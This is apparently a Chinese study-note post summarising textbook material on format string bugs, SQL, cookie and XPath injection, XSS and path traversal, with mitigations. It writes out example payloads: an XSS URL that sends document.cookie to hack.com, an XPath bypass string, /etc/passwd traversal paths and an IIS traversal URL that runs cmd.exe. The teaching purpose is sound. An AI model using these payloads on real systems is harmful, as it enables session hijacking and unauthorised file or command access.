Format String 格式化串漏洞php
考慮以下的代碼:html
1 #include<stdio.h> 2 int main() 3 { 4 int a=44,b=77; 5 printf("a=%d, b=%d\n",a,b); 6 printf("a=%d, b=%d\n"); 7 return 0; 8 }
第 6 行的 printf() 沒有正確設置參數,而 C 對此沒作強制檢查。第 6 行的輸出結果在 XP sp2 VM(VC6.0 Release 版本)上的結果爲 a=4218928, b=44。其中 a 的值是第 5 行的參數 "a=%d, b=%d\n" 的地址,b 的值是第 5 行中壓入的 a 的值(從右向左將參數壓棧,printf 執行後其參數不會出棧)。java
如上的代碼只是個小 bug,但對於如下的例子,就構成嚴重的漏洞了(好比輸入"%p, %p, %p, ...",%p 含義爲 pointer):程序員
1 #include<stdio.h> 2 3 int main(int argc, char **argv) 4 { 5 //printf(argv[1]); 6 char buf[1024]; 7 printf(gets(buf)); 8 return 0; 9 }
若是配合可以寫的控制符,這種漏洞會更危險,例如:shell
1 #include<stdio.h> 2 int main(int argc,char **argv) 3 { 4 int len=123; 5 printf("before write: len=%d\n",len); 6 printf("failwest:%d%n\n",len,&len); // %n 控制符會將當前 printf 的總輸出長度寫回對應的變量,這裏 「failwest:123」 長度爲 12
7 printf("after write: len=%d\n",len); 8 return 0; 9 }
輸出結果爲:數據庫
before write: len=123 failwest:123 after write: len=12
當輸入輸出函數的格式化控制符可以被外界影響時,攻擊者能夠綜合利用前面介紹的讀內存和寫內存的方法修改函數返回地址,劫持進程,運行 shellcode。瀏覽器
比起大量使用命令和腳本的 *NIX 系統,Windows 中命令解析和文本解析的操做不是不少,加上這種類型的漏洞發生的條件很苛刻,使得格式化串漏洞的實際安全很是罕見。安全
堆棧溢出漏洞每每被複雜的程序邏輯所掩蓋,給漏洞檢測形成必定困難。相對而言,格式化串漏洞的原由很是簡單,只要檢測相關函數的配置就行,經過簡單的靜態代碼掃描,通常能夠容易地發現這類漏洞(VS2005 中在編譯級別對參數作了檢查,且默認狀況下關閉了對 "%n" 控制符的使用)。一般能引發這種漏洞的函數包括:服務器
printf()
wprintf()
fprintf()
fwprintf()
sprintf()
swprintf()
vprintf()
vwprintf()
vfprintf()
vfwprintf()
vsprintf()
vswprintf()
SQL 注入cookie
網站系統的可輸入接口比軟件系統要多得多,腳本語言在提供了高度靈活性的同時也帶有語言限制不夠嚴格的缺點,這使得 Web 系統的安全性變得很是嚴峻。
SQL 注入源於 ASP、PHP 等腳本語言對用戶輸入數據和解析時的缺陷。不像緩衝區溢出攻擊那樣須要掌握大量的系統底層知識,SQL 注入的技術門檻相對較低,只要懂得基本的 Web 技術和數據庫知識,就可以實施攻擊。一些自動化攻擊工具如 NBSI2 等也使得這類攻擊變得更容易。目前這類攻擊技術已經發展成一套比較完善的體系併成爲網站攻擊的主流技術。
SQL 注入的精髓在於構造巧妙的注入命令串,從服務器的不一樣反饋結果中逐步分析出數據庫中各個表項之間的關係,直到完全攻破數據庫。遇到功能強大的數據庫(如 MS SQL Server)時,若是數據庫權限配置不合理,利用存儲過程甚至能夠作到遠程控制服務器。
防範注入攻擊的手段有:
1. 對用戶輸入數據進行限制,過濾掉第三字符。 2. 產生注入的根源是拼接字符串,故能夠不用拼接字符串進行查詢而採用參數化查詢。
針對 SQL 注入的更深的內容能夠去原書《0day 安全:軟件漏洞分析技術(第2版)》第 8.1-8.2 節查閱。
Cookie 注入
以 ASP 爲例,程序員常常會使用如下兩種方式獲取用戶提交的數據:
ID = Request.QueryString("id") // GET ID = Request.Form("id") // POST
許多程序員爲了同時支持 GET 和 POST 方式,經常使用以下通用方式:
ID = Request("id")
而實際上,這種方式會先讀取 GET 中的數據,而後讀取 POST 中的數據,若是還沒找到相應數據,則讀取 Cookie 中的數據。若是對注入的防範僅落實在 GET 和 POST 方式上,這時攻擊者就能經過 Cookie 繞過限制進行注入攻擊,Cookie 注入由此產生!
相關 Cookie 注入方式和簡單技巧原書可查!
XML 的路徑語言:XPath 注入
XPath 是 XML 的路徑語言,經過「引用數據」的方式從 XML 文檔中讀取各類信息,而且具備很好的鬆散輸入特性和容錯特性。這種特性使得攻擊者可以在 URL、表單或其餘地方附上精心構造的 XPath 查詢語句來得到權限。
若是存放用戶驗證信息的不是一個數據庫表,而是一個以下的 XML 文件:
1 <?xml version="1.0" encoding="UTF-8"?> 2 <users> 3 <admin> 4 <name>admin</name> 5 <password>123</password> 6 </admin> 7 </users>
則對應的查詢語言多是:
//users/admin[name/text()='admin' and password/text()='123']
若是在用戶名和密碼框中都輸入 ' or '1'='1,XPath 語句將變爲:
//users/admin[name/text()='' or '1'='1' and password/text()='' or '1'='1']
括號內部的謂詞結果是 True,因此查詢結果將選擇全部 admin 用戶,驗證就被繞過!
XPath 注入與 SQL 注入十分類似。數據庫注入能夠採用參數化查詢來防止,但 XPath 不支持參數化查詢,但能夠採用 XQuery 來模擬參數化查詢。
XSS 攻擊
XSS 是 Cross Site Script 的縮寫(爲了避免與 CSS - Cascading Style Sheets 衝突),XSS 佔漏洞的比例很大,防不勝防。
不少 Web 應用中,服務器都會將用戶的輸入或請求的數據直接地或者通過簡單加工後以頁面的形式返回給客戶端。在搜索引擎、錯誤提示頁面、論壇空間等應用中,若是服務端對用戶的輸入沒有很好地過濾,攻擊者就能利用這些可信的網站,使用戶的瀏覽器執行一些惡意的腳本。XSS 漏洞正是產生於 Web 服務器把用戶的輸入數據直接返回給客戶端。這種攻擊利用服務器做爲橋樑去攻擊普通用戶,「跨站腳本」中的「站」正是指被利用的 Web 服務器。隨着 XSS 蠕蟲的出現,XSS 對服務器的攻擊也逐漸獲得重視。
XSS 攻擊的目標通常是客戶端瀏覽器,受影響的範圍要遠遠大於攻擊服務器的 SQL 注入等方式;另外,獨立的 XSS 漏洞配合上其餘攻擊技術每每能產生很是嚴重的後果。
XSS Reflection 攻擊場景 1. 用戶正常登陸一個網站 test.com,一個 Cookie 被設置:Set-Cookie:sessID=xxxx 2. 攻擊者給用戶發一個載有 XSS 的 URL,騙取用戶點擊 http://test.com/t.php?input=<script>var+i=new+Image;+i.src="http://hack.com/"%2bdocument.cookie;</script> 3. 用戶點擊如上連接,向服務器發送 URL 請求 4. 存在漏洞的 test.com 簡單地把 XSS 當作網頁文本返回給用戶客戶端 5. 用戶收到返回的頁面後,執行其中的攻擊腳本: var i=new Image; i.src="http://hack.com/"+document.cookie; 6. 攻擊者從 hack.com 中獲得 test.com 中的用戶 Session ID,假裝成用戶登陸 test.com,完成 Session Hi-Jacking 攻擊
注意:hack.com 沒法從用戶的瀏覽器中直接讀取 test.com 的 Cookie 而 test.com 能夠;用戶信任 test.com 而不信任 hack.com,直接發送 hack.com 容易失敗。
XSS Reflection 常發生於搜索引擎、錯誤提示頁面等對用戶輸入的直接反饋中。若是論壇或者 Blog 對用戶提交的請求沒有很好地過濾,將致使 Stored XSS 漏洞:
XSS Stored 案例:XSS 蠕蟲
2005 年,名爲 Samy 的 MySpace 用戶在本身的我的資料中加入了一些 JavaScript,全部打開該頁面的瀏覽器都執行了這個腳本:首先把攻擊者加爲好友,並將這段 XSS 複製到被攻擊者的我的資料中。結果 MySpace 上引起了一塊大規模的基於 XSS 漏洞的蠕蟲傳播,一小時內 Samy 的好友超過一百萬,MySpace 爲了清除全部被感染的用戶文檔中的 XSS 而被迫中止運行,Samy 被判對 MySpace 進行經濟賠償外加三個月義工。
須要注意的是,除了上述兩各種型的 XSS 漏洞,本地的 html、chm、mht、dll、exe 等文件內部也能夠存儲 XSS,從而引發 XSS 攻擊。
將文本返回給用戶瀏覽器以前,對敏感字符進行編碼替換是一個防護 XSS 攻擊的簡單有效的辦法,幾個能夠考慮的替換以下:
" → "
' → '
& → &
......
路徑遍歷漏洞
Windows 系統中 ../ 和 ..\ 都能表示上一級目錄,*NIX 中 ../ 也能表示上一級目錄:
C:\Windows\../Windows\win.ini
/var/www/html/../../../etc/passwd
%2e%2e%2f 含義爲 ../
若是開發者沒有對這種路徑回溯進行過濾或者權限控制的話,攻擊者就能夠經過精心構造的回溯路徑獲取服務器上的敏感文件,從而進一步滲透。
工業界最著名的路徑遍歷漏洞是 CVE-2001-0333 IIS5 中的漏洞:攻擊者使用 Unicode 編碼過的 URL 能夠突破 IIS 的目錄訪問控制機制,例如:(%cp%af 是 Unicode 的 '/')
http://xxxx.com/..%c0%af../winnt/system32/cmd.exe+/c+dir+c:\
將會返回 dir c:\ 的結果。
一樣一個資源的表達方式是多種多樣的,在給用戶帶來方便的同時,也使得訪問控制系統變得複雜。若是須要設計一個防火牆系統對一個特定的 URL 黑名單進行阻止,就要考慮到 URL 形態上的多樣性,不然簡單編碼就能夠繞過防火牆規則。
http://www.baidu.com
http://220.181.6.175
http://0xDCB506AF // IP 的 HEX 形式
http://3702851247 // DEC 表示形式
http://0334.0265.06.0257 // OCT 表示形式
http://0x123456789DCB506AF // IE 等瀏覽器會將多餘的數字丟棄
2001:0DB8:0000:0000:0000:0000:1428:57AB
2001:0DB8:0000:0000:0000::1428:57AB
2001:0DB8:0:0:0:0:1428:57AB
2001:0DB8:0::0::1428:57AB
2001:0DB8::1428:57AB
而範式化(Canonicalization)能夠較好地解決這個問題。Windows 中的 GetFullPathName() 或者 PathCanonicalize() 、Linux 中的 canonicalize_file_name()、Java 中的 File.getCanonicalPath() 和 java.net.URI.normalize()、PHP 中的 realpath() 均可以作到這一點。